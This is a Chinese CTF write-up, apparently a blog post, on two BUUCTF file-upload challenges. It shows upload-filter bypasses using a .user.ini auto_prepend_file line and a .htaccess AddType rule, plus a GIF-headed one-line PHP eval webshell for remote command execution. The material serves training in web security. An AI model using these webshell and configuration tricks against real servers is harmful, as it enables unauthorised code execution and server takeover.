前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUUCTF_[SUCTF 2019]CheckIn

BUUCTF_[SUCTF 2019]CheckIn

作者头像
TenG
发布2021-12-07 17:16:55
1K0
发布2021-12-07 17:16:55
举报
文章被收录于专栏:网安菜鸟成长记

前言

先扯些题外话,这个题目是在BUUCTF刷到的,本来以为就是普通的文件上传,但是看了其他师傅的文章以后发现了新姿势,这次利用到的知识点也刷新了我对文件上传类题目的认知,所以特此记录一下。本文也参考了这位大师傅的文章,然后再结合我自己的理解记录下来,当然我的理解还不够透彻,所以还请各位师傅多多指教。 这几天又看到一个关于 .htaccess 文件利用的,也是在BUU刷到的,感觉没有必要再单独写一篇文章,所以就追加到这里,题目是 [MRCTF2020]你传你🐎呢1

正文

[SUCTF 2019]CheckIn1

先来看下题目页面

可以看到这就是普通的文件上传页面,开始呢我也是用的以前的常规方法去试的,什么修改MIME类型、图片合成马、00截断啊都试了,但是没有一个能用的。不过这里需要提一下的是,试00截断的时候用 (0x00) 有些作用,为什么说有些呢?emmmmm,比如teng.php(0x00).jpg,文件传上去以后是有截断效果了,但是截断后的文件是teng.php(0x00).,本以为会可以,但是用蚁剑连不上,后来看了师傅的文章才知道了下面这个方法。

.user.ini

我们都知道php.ini是php的默认配置文件,里面的配置,而里面的配置选项的可修改范围(也就是这些选项能被修改的权限)有:PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_SYSTEM、PHP_INI_ALL,这个是php.ini配置选项列表,下面是这些模式的定义

从定义可以看出,PHP_INI_USER模式的选项可以在ini_set()函数、注册表以及.user.ini中设置,那么这里就需要说到.user.ini文件了。 .user.ini文件也是一个配置文件,并且是可以由用户自定义的,不过我们想要利用这个.user.ini文件是需要对应的选项模式为PHP_INI_PERDIR、PHP_INI_USER的(表格里面没有提到的PHP_INI_PERDIR模式也可以在.user.ini中定义)。和php.ini不一样的是,.user.ini可以被动态加载,什么意思呢?就是在修改过.user.ini文件后不需要再重启服务器,只需要等待一段时间就会刷新了,而这个时间就是user_ini.cache_ttl设置的时间(默认是300秒)。 那么这个文件之所以可以被利用是因为除了主php.ini文件外,PHP还会在每个目录下面扫描.ini配置文件,从被执行的php文件目录开始一直向上到web根目录,但是如果被执行的php文件不在web目录下的话只会扫描当前所在目录。 有两个选项可被利用

auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。就是我们指定一个文件(比如teng.jpg),那么teng.jpg就会被包含在要执行的php文件中(比如index.php),就相当于在index.php中插入了一句require(./teng.jpg)不过需要注意的就是上传目录下必须要有可执行的php文件 auto_append_file:和auto_append_file类似,只是在文件后面包含,跟include()函数类似吧

而且可以看到auto_append_file和auto_prepend_file的可修改范围权限都是PHP_INI_PERDIR。那我们就可以利用了,可以利用auto_prepend_file选项来包含一个webshell,比如

代码语言:javascript
复制
auto_prepend_file=teng.jpg

就是先上传一个.user.ini文件,然后再在.user.ini文件里面用auto_prepend_file函数包含一个一句话木马到php文件中。这里的teng.jpg就是后面要上传的一句话木马的文件名,不过是需要上传jpg的文件的,而且会检测文件内容,这里就不在放验证图了。所以我们还要在文件内容开头加上一个jpg的文件头,我加的是GIF89a,GIF头。接下来就show time啦

emmm,检测到了问号,不过可以利用js来构造一句话,之前做bugku的时候遇到过这种

代码语言:javascript
复制
<script language="pHp">@eval($_POST['teng'])</script>

不过别忘了前面依然要加图片头

可以看到.user.ini和teng.jpg文件都已经在当前目录存在了,那么就直接利用webshell执行命令,也可以连蚁剑,不过我是直接命令执行了

成功执行,看了下根目录发现了flag文件,这一步就省去了,直接看get flag这一步吧,当然重要的不是flag,是能从做题的过程中学到知识

好了,到这里就结束啦。这个题主要考察的就是.user.ini配置文件的利用(不看师傅们的文章的话还真是想不到),个人感觉php配置选项表那里听绕的(QAQ)

[MRCTF2020]你传你🐎呢1

开始也试了很多方法,包括上传.user.ini文件都不行,后来参考许多师傅的文章知道了.htaccess文件,方法就是通过修改配置文件,让jpg文件当作php文件解析执行,既然不给上传php文件那就让jpg文件当作php文件来用!

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

简单来说就是每个目录下都可以配置一个.htaccess文件,以用来设置该目录及其子目录下的文件配置,子目录下的.htaccess配置文件会覆盖父目录中的.htaccess文件,而且一般情况下是不应该使用此文件的,一个是会影响服务器性能,另外就是安全性问题,这也是讲这个题目的原因。

emmmm,好一个一键去世,由于篇幅问题,下面直接讲绕过方式,既然.htaccess是配置文件,那么我们先上传一个内容为允许让jpg文件解析为php的.htaccess文件,文件内容为:

AddType application/x-httpd-php jpg

这条配置信息就是可以让jpg文件当作php文件解析执行,然后我们直接先上传.htaccess文件,然后再上传一句话木马文件,不过由于对文件类型有限制,所以需要让.htaccess文件的MIME类型改为image格式

可以看到上传成功了,那么接下来就上传jpg格式的一句话木马文件

蚁剑成功连接

结语

又是深夜肝文,思维有点混乱,师傅们感觉文中有措辞不当的地方欢迎指出哈。虽然我写的文章可能没人看,但是如果能够帮到一个朋友就有意义,欢迎师傅们前来交流,我们下次见!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021/05/22 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
    • [SUCTF 2019]CheckIn1
      • .user.ini
        • [MRCTF2020]你传你🐎呢1
          • .htaccess
      • 结语
      相关产品与服务
      云服务器
      云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档